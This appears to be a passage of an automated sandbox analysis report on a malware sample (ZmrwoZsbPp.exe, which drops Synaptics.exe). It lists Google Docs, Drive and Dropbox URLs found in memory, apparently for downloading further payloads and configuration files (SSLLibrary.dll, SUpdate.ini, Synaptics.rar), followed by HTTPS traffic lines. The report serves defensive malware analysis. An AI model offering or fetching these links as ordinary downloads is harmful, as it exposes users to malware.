Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadting.LS
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadting.M
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadting.a
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtive
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtl
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlen
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlenR
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlen_
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleni
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleniLB
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlenigQ
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtn
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtnam;l
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduJ
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduc
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadul
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduld.
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduld.7P
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduluna
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadutQ
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007E37000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvFe
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadving
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.000000000085E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwaB%
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwoZsb
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwwV%
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F2AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx%
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxJ:aH
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady2yn
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyF;e
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyj
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyo
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor.
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..&m
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..7
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..I
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..Tn
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor.jQ
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor.wB
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007E37000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000865000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz$
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007E37000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~%
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~(
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~E8d
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, ~DF21A6BD85C480FA99.TMP.3.dr, RCXA37B.tmp.0.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000002.00000002.3136790896.000000002E9BE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.comuc?id=0BxsMXGfPIZfSVlVsOGlEVGxuVk&expoJ
Source: Synaptics.exe, 00000002.00000002.3138590812.00000000307BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3126374572.000000002417E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3131908333.00000000293FE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.comuc?id=0BxsMXGfPIZfSVlVsOGlEVGxuVk&export=download
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3160506345.000000003D712000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115285247.000000001E35E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D49F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005586000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D49D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762455008.0000000007DFE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, RCXA37B.tmp.0.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, RCXA37B.tmp.0.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlP
Source: ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, ~DF21A6BD85C480FA99.TMP.3.dr, RCXA37B.tmp.0.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
